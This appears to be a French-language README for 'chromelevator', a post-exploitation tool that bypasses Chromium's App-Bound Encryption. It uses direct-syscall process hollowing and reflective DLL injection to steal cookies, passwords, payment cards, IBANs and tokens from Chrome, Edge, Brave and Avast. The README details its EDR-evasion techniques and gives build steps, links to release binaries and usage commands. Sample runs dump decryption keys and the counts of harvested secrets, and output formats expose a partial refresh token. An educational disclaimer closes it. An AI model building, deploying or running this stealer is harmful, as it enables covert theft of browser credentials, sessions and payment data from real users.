
Contourner le chiffrement App-Bound de Chromium via le Process Hollowing réflexif basé sur des appels système directs. Extraire les cookies, mots de passe, méthodes de paiement et jetons de Chrome, Edge, Brave et Avast - sans fichier, mode utilisateur, aucun droit administrateur requis.
Chrome App-Bound Encryption Decryption)Un outil de post-exploitation démontrant un contournement complet, en mémoire, du chiffrement App-Bound Encryption (ABE) de Chromium. Ce projet utilise le Process Hollowing Réflexif basé sur des Syscalls Directs (Direct Syscall-based Reflective Process Hollowing) pour lancer un processus navigateur légitime en état suspendu, en injectant furtivement une charge utile (payload) afin de détourner son identité et son contexte de sécurité. Cette technique Living-off-the-Land (LOTL) subvertit le modèle de sécurité du navigateur lui-même. L'approche sans fichier (fileless) permet à l'outil de fonctionner entièrement depuis la mémoire, en contournant les hooks d'API en mode utilisateur pour déchiffrer et exfiltrer des données utilisateur sensibles (cookies, mots de passe, paiements) des navigateurs Chromium modernes.
Si vous trouvez cette recherche utile, j'apprécierais un café :
L'efficacité de cet outil repose sur une combinaison de techniques modernes axées sur l'évasion :
Syscalls Directs pour l'Évasion : Contourne les hooks EDR/AV en mode utilisateur sur les fonctions WinAPI standard en invoquant directement les fonctions du noyau. Le moteur résout dynamiquement les numéros de syscall à l'exécution à l'aide de la technique Hell's Gate avec correspondance de fonctions par hash (aucun nom de syscall en clair dans le binaire).
Process Hollowing basé sur des Syscalls Directs : Une technique furtive de création et d'injection de processus. Plutôt que d'injecter dans un processus à fort trafic, potentiellement surveillé, elle crée un nouveau processus hôte suspendu. Cela réduit considérablement les risques de détection, car toutes les manipulations mémoire ont lieu avant que le processus ne commence son exécution normale.
Payload en mémoire sans fichier (Fileless) : La DLL du payload ne touche jamais le disque sur la machine cible. Elle est intégrée sous forme de tableau d'octets chiffré ChaCha20 au moment de la compilation avec des clés dérivées à la compilation, déchiffrée en mémoire et chargée par réflexion, minimisant ainsi son empreinte forensique et contournant les scanners statiques basés sur les fichiers.
Injection de DLL Réflexive (RDI) : Une méthode furtive d'injection de processus qui contourne LoadLibrary pour le payload principal, évitant ainsi les mécanismes de détection qui surveillent les chargements de modules. Le chargeur bootstrap autonome mappe les sections PE, effectue les relocalisations et résout les imports depuis la mémoire.
Invocation COM dans le contexte cible : Le pivot central pour vaincre l'App-Bound Encryption. En exécutant du code dans le processus navigateur de confiance, nous héritons de son identité et de son contexte de sécurité, ce qui nous permet d'effectuer des appels d'apparence légitime au serveur COM ABE et de satisfaire ses contrôles de sécurité par validation de chemin.
Nt*/Zw* en clair dans le binaire — utilise des hash DJB2 au moment de la compilation.LoadLibrary suspects.--kill est disponible pour une terminaison complète du processus.
Remarque : Chrome/Brave/Edge 144+ utilisent la nouvelle interface COM
IElevator2. Cet outil utilise automatiquementIElevator2lorsqu'elle est disponible et revient àIElevatorpour les versions plus anciennes. Avast Secure Browser utilise une interfaceIElevatorChromepersonnalisée avec une vtable étendue (12 méthodes, DecryptData au décalage 104).
Cette matrice décrit les capacités d'extraction pour chaque navigateur pris en charge.
L'exécution de l'outil est axée sur la furtivité et l'efficacité, et repose sur un processus de Reflective Hollowing basé sur des Syscalls Directs. Cette approche garantit que peu d'appels API de haut niveau sont effectués et que le payload opère depuis un processus navigateur légitime récemment créé.
chromelevator.exe)ntdll.dll pour résoudre les numéros de syscall (SSN) à l'aide d'une correspondance par hash et pour localiser les gadgets de transition noyau (syscall/ret ou svc/ret). Si l'option --kill est spécifiée, il utilise les syscalls NtGetNextProcess et NtTerminateProcess pour terminer toutes les instances en cours d'exécution du navigateur cible, libérant ainsi les verrous de fichiers sur les bases SQLite.CREATE_SUSPENDED (CreateProcessW). Ce processus vierge et suspendu sert d'hôte à notre payload.NtAllocateVirtualMemory (syscall direct).Bootstrap s'exécute, agissant comme un chargeur PE personnalisé en mémoire avec une furtivité renforcée :
NtAllocateVirtualMemory (contournant VirtualAlloc hooké).NtProtectVirtualMemory.DllMain du payload.DllMain crée un nouveau thread qui se connecte immédiatement au handle du named pipe passé par l'injecteur. Il lit la configuration, y compris le chemin de sortie, envoyée par l'injecteur. Tous les journaux et mises à jour de statut ultérieurs sont relayés via ce pipe.IElevator2 pour Chrome/Brave 144+, IElevator pour les versions antérieures, pour Edge, ou pour Avast Secure Browser). Comme l'appel provient d'un chemin de processus de confiance, tous les contrôles de sécurité du serveur sont validés.Ce projet utilise un script de compilation simple et robuste qui gère automatiquement toute la compilation et l'intégration du payload.
Clonez ce dépôt.
Ouvrez une invite de commandes développeur pour Visual Studio (ou tout shell compatible MSVC).
Exécutez le script de compilation make.bat à la racine du projet.
Options de compilation :
make.bat - Compilation complète (par défaut)make.bat clean - Supprime tous les artefacts de compilationmake.bat build_encryptor_only - Compile uniquement l'encrypteur (utilisé par le CI)make.bat build_target_only - Compile le payload et l'injecteur (utilisé par le CI)Ce projet utilise GitHub Actions pour compiler automatiquement l'exécutable de l'injecteur (chromelevator.exe) pour les architectures x64 et ARM64.
Vous pouvez trouver les derniers binaires précompilés sur la page des versions. Les exécutables pour les deux architectures sont regroupés dans un seul fichier .zip pratique.
Contenu du pack de version :
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### Options
- `--output-path <path>` ou `-o <path>`
Spécifie le répertoire de base pour les fichiers de sortie.
Par défaut, `.\output\` relatif à l'emplacement de l'injecteur.
Les données seront organisées en sous-dossiers : `<path>/<BrowserName>/<ProfileName>/`.
- `--verbose` ou `-v`
Active une sortie de débogage détaillée de l'injecteur.
- `--fingerprint` ou `-f`
Extrait des données complètes d'empreinte numérique du navigateur, y compris la version, les extensions, les paramètres de sécurité et les informations système.
Les résultats sont enregistrés dans `fingerprint.json` dans le répertoire de sortie du navigateur.
- `--kill` ou `-k`
**Termine tous les processus des navigateurs avant l'extraction.** Utilise des appels système directs (`NtTerminateProcess`) pour terminer toutes les instances en cours d'exécution des navigateurs cibles avant de tenter l'extraction des données. C'est utile lorsque des navigateurs sont en cours d'exécution et verrouillent des fichiers de base de données, empêchant l'outil d'accéder aux cookies ou à d'autres données chiffrées.
- `--help` ou `-h`
Affiche ce message d'aide.
### Exécution normale```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 Extraction des données
Une fois le déchiffrement terminé, les données sont enregistrées dans le chemin de sortie spécifié (par défaut `.\output\` si non spécifié via `--output-path`). Les fichiers sont organisés comme suit :
**Chemin de base :** `YOUR_CHOSEN_PATH` (par exemple `.\output\` ou le chemin que vous fournissez)
**Structure :** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
Exemples de chemins (en supposant l'emplacement de sortie par défaut) :
- 🍪 **Cookies (profil par défaut de Chrome) :** .\output\Chrome\Default\cookies.json
- 🔑 **Mots de passe (Edge Profil 1) :** .\output\Edge\Profile 1\passwords.json
- 💳 **Méthodes de paiement (profil par défaut de Brave) :** .\output\Brave\Default\payments.json
- 🏦 **IBAN (Chrome Profil 1) :** .\output\Chrome\Profile 1\iban.json
### 🍪 Extraction des cookies
Chaque fichier de cookies est un tableau JSON d'objets :```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
Chaque fichier de mots de passe est un tableau JSON d'objets :```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 Extraction des méthodes de paiement
Chaque fichier de paiement est un tableau JSON d'objets :```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
Chaque fichier IBAN est un tableau JSON d'objets :```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ Extraction de jetons
Chaque fichier de jetons est un tableau JSON d'objets contenant le service, le jeton déchiffré et la clé de liaison (si présente) :```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
Lors de l'utilisation de l'option --fingerprint ou -f, un rapport complet de métadonnées est généré :```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
Ces données fournissent des informations sur la configuration du navigateur, sa posture de sécurité et le contexte système.
## 📚 Analyse technique approfondie et recherche
Pour une compréhension complète de l'App-Bound Encryption de Chrome, des subtilités de son implémentation, du fonctionnement détaillé de l'approche de cet outil et d'une discussion plus large sur les vecteurs de sécurité associés, veuillez consulter mon article de recherche détaillé :
1. ➡️ **[Chrome App-Bound Encryption (ABE) - Analyse technique approfondie et notes de recherche](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**
Ce document couvre :
- L'évolution de DPAPI vers ABE.
- Une décomposition étape par étape du mécanisme ABE, incluant les interactions COM `IElevator`/`IElevator2` et l'enveloppement de clés.
- La méthodologie détaillée de la stratégie d'injection DLL utilisée par cet outil.
- L'analyse des structures de données chiffrées et des informations pertinentes sur le code source de Chromium.
- La discussion des vecteurs de déchiffrement alternatifs et des défenses évolutives de Chrome.
2. ➡️ **[L'étrange cas du COM récalcitrant : déchiffrer l'App-Bound Encryption de Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
Cet article détaille les défis spécifiques et le parcours de rétro-ingénierie entrepris pour parvenir à un déchiffrement ABE fiable pour Microsoft Edge. Il comprend :
- Un compte rendu des problèmes initiaux et des codes d'erreur trompeurs (`E_INVALIDARG`, `E_NOINTERFACE`).
- Le processus d'utilisation de l'introspection de bibliothèque de types COM (avec Python `comtypes`) pour découvrir la structure et l'héritage uniques de la vtable `IElevatorEdge` d'Edge.
- Comment cette découverte a conduit à des stubs d'interface C++ sur mesure pour une interaction réussie avec le service ABE d'Edge.
- Un aperçu pratique du débogage des problèmes délicats d'interopérabilité COM.
3. ➡️ **[L'Elevator fait peau neuve : Chrome 144, IElevator2 et l'horizon Mojo](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
Cet article traite de la nouvelle interface COM `IElevator2` de Chrome 144 et de ce qu'elle signifie pour ABE :
- Comparaison technique entre les interfaces `IElevator` de Chrome 143 et `IElevator2` de Chrome 144.
- Analyse des deux nouvelles méthodes (`RunIsolatedChrome`, `AcceptInvitation`) et de leur lien avec la migration Mojo IPC prévue par Chromium.
- Comparaison des dispositions de VTable montrant la préservation de la rétrocompatibilité.
- L'adoption partielle de `IElevator2` par Edge 144 et les nouvelles interfaces Copilot.
- Évaluation honnête de ce que la migration Mojo change (et ne change pas) pour la sécurité d'ABE.
4. ➡️ **[COMrade ABE : votre manuel de terrain pour les dessous COM de l'App-Bound Encryption](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**
Ce manuel de terrain présente **COMrade ABE**, un analyseur dynamique basé sur Python pour les interfaces COM d'ABE, et explore ses applications pratiques :
- Explique la nécessité d'une analyse dynamique des interfaces COM en raison des variations et des mises à jour des navigateurs.
- Détaille la méthodologie de COMrade ABE : analyse du registre pour la découverte de services, chargement et analyse de la bibliothèque de types, et correspondance heuristique des signatures de méthodes ABE.
- Fournit un guide complet pour interpréter la sortie de COMrade ABE, y compris les CLSID, les IID (format standard et style C++), ainsi que l'importance des détails de sortie verbeuse comme les offsets de VTable, les interfaces de définition et les chaînes d'héritage complètes.
- Met en évidence l'utilité des stubs C++ générés automatiquement (`--output-cpp-stub`) pour un développement et une recherche rapides.
- Explique comment COMrade ABE aide à s'adapter aux évolutions d'ABE, à analyser les nouveaux navigateurs Chromium et à comprendre les personnalisations COM spécifiques aux fournisseurs.
## 🔗 Ressources supplémentaires et recherche
Ce projet s'appuie sur le travail et les analyses de la communauté de la sécurité au sens large.
- **Documentation officielle et annonces :**
- [Google Security Blog : Améliorer la sécurité des cookies Chrome sous Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [Document de conception : service de chiffrement app-bound de Chrome](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **Recherche communautaire et remerciements :**
- Preuve de concept par [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)
## 🗒️ Journal des modifications
Toutes les modifications notables de ce projet sont documentées dans le fichier [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md). Cela inclut l'historique des versions, les nouvelles fonctionnalités, les corrections de bogues et les améliorations de sécurité.
## 📜 Licence
Ce projet est sous licence MIT - voir le fichier [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) pour plus de détails.
## 💡 Philosophie du projet et avertissement
> [!IMPORTANT]
> Ceci est un projet de loisir créé à des fins éducatives et de recherche en sécurité. Il sert d'expérience d'apprentissage personnelle et de terrain de jeu pour explorer des concepts Windows avancés.
>
> **Cet outil n'est PAS destiné à être un infostealer complet ou un outil garanti d'évasion EDR.** Bien qu'il utilise des techniques avancées, son objectif principal est de démontrer et de disséquer le mécanisme ABE, et non de fournir une furtivité opérationnelle pour un usage malveillant. Veuillez vous assurer de respecter toutes les directives légales et éthiques applicables.
| Navigateur | Version testée (x64 et ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| Fonctionnalité | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| Cookies | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Mots de passe | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Moyens de paiement | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBAN | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| Jetons d'authentification | ❌ N/A | ❌ N/A | ❌ N/A |
NtWriteVirtualMemory.NtProtectVirtualMemory (syscall direct).NtCreateThreadEx. L'adresse de départ du thread pointe directement vers l'export Bootstrap du payload, avec l'adresse du nom du pipe distant comme argument. Le thread principal d'origine du navigateur reste suspendu et n'est jamais repris. L'injecteur attend ensuite que le payload se reconnecte au pipe.IEdgeElevatorFinalIAvastElevatorDecryptData sur l'interface COM, en fournissant la app_bound_encrypted_key qu'il lit dans le fichier Local State. Le serveur COM déchiffre la clé et renvoie la clé maîtresse AES-256 en clair au payload.Default, Profile 1, etc.). Pour chaque profil, il interroge les bases SQLite concernées (Cookies, Login Data, Web Data), déchiffre les blobs de données à l'aide d'AES-256-GCM, et formate les secrets en JSON. Les résultats sont écrits directement dans le dossier de sortie spécifié par l'injecteur.FreeLibraryAndExitThread pour nettoyer. L'injecteur, à la réception du signal, termine le processus hôte parent avec NtTerminateProcess.